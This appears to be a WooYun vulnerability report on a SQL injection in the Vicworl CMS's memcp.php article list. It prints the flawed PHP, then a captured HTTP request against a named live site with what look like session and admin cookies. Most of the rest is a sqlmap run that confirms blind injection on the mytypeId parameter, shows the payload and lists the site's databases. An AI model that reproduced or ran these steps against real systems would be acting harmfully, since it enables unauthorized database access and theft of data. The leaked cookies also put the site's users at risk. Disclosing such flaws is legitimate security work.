WooYun.org

$magic_quotes_gpc = get_magic_quotes_gpc( );
@extract( @daddslashes( @$_COOKIE ) );
@extract( @daddslashes( @$_POST ) );
@extract( @daddslashes( @$_GET ) );
if ( $magic_quotes_gpc )
{
    $_FILES = daddslashes( $_FILES );
}

if ( empty( $step ) )
{
    $mytypeId_cond = "";
    if ( empty( $mytypeId ) )
    {
        $mytypeId_cond = " and mytypeId=".$mytypeId." ";
    }
    $sql_query = "SELECT `id` , `name` , `systypeId` , `mytypeId` , `status` , `sys_status` , `sort` , `uid` , `count` , `type` , `content` , `createtime`  ,(SELECT `name` FROM `".$tablepre."logtype` WHERE `type`=0 and id=a.mytypeId)  as typename FROM `{$tablepre}article` a WHERE `uid`='{$vicworl_uid}' and `type`='0' {$mytypeId_cond}  ORDER BY `createtime` DESC";
    $sql_count = "SELECT count(*)  FROM `".$tablepre."article`      WHERE `uid`='{$vicworl_uid}' and `type`='0' {$mytypeId_cond}         ";
    $page = new pdo_page( );
    $page_size = 20;
    $link_num = 6;
    $pagestr = "?action=article_list&";
    $page->set( $db, $sql_query, $sql_count, $page_size, $link_num, $pagestr );
    $page->create_page( );
    $page_data = $page->get( 0 );
    $page_show = $page->get( 1 );
    if ( 0 < $page->get( 2 ) )
    {
        $i = 0;
        for ( ; $i < count( $page_data ); ++$i )
        {
            $page_data[$i]['createtime'] = date( $format_datetime, $page_data[$i]['createtime'] );
        }
    }
    $page_data = htmlsc( $page_data );
    $page_show( "page_show", @$page_show );
    $page_data( "allRows", @$page_data );
    $tpl->display( $theme."memcp/article_list.html" );
}

GET /memcp.php?action=article_list&mytypeId=* HTTP/1.1
Host: ntzx.cn
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: VisitNum=2; _gscu_465476474=27948242hdqtdg95; DSSESSID=31j9v1knuv25c1dgrer0lm4gs2; admin_silicpass=b51dbe0573b8f04d4962a764f9b8fb94; vicworl_auth=DrZa6VmT%2Fm41wUVwf80CVokjwwarNj5AIO00eJ2EiTCHaAU95ASRHIFHsdcKeJnLFlo

C:\Users\A>sqlmap.py -r C:\Users\A\Desktop\4.txt --risk 3 --dbms=MySQL
 --dbs --delay=2

C:\Users\A>sqlmap.py -r C:\Users\A\Desktop\4.txt --risk 3 --dbms=MySQL
 --dbs --delay=2
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150317}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:02:13
C:\Users\A\Desktop\4.txt
[12:02:13] [INFO] parsing HTTP request from 'C:\Users\A\Desktop\4.txt'
C:\Users\A\Desktop\4.txt
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[12:02:15] [WARNING] it seems that you've provided empty parameter value(s) for
testing. Please, always use only valid parameter values so sqlmap could be able
to run properly
[12:02:15] [INFO] testing connection to the target URL
you provided a HTTP Cookie header value. The target URL provided its own cookies
 within the HTTP Set-Cookie header which intersect with yours. Do you want to me
rge them in futher requests? [Y/n] y
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: http://ntzx.cn:80/memcp.php?action=article_list&mytypeId=-3863 OR 3
020=3020
---
[12:02:22] [INFO] testing MySQL
[12:02:24] [INFO] confirming MySQL
[12:02:24] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.0
[12:02:24] [INFO] fetching database names
[12:02:24] [INFO] fetching number of databases
[12:02:24] [INFO] resumed: 5
[12:02:24] [INFO] resumed: information_schema
[12:02:24] [INFO] resumed: mysql
[12:02:24] [INFO] resuming partial value: te
[12:02:24] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[12:02:24] [INFO] retrieved: st
[12:03:52] [INFO] retrieved: vicworl
[12:07:28] [INFO] retrieved: wordpress
available databases [5]:
[*] information_schema
[*] mysql
[*] test
[*] vicworl
[*] wordpress
[12:11:38] [INFO] fetched data logged to text files under 'C:\Users\A\.sqlm
ap\output\ntzx.cn'

Powered by Vicworl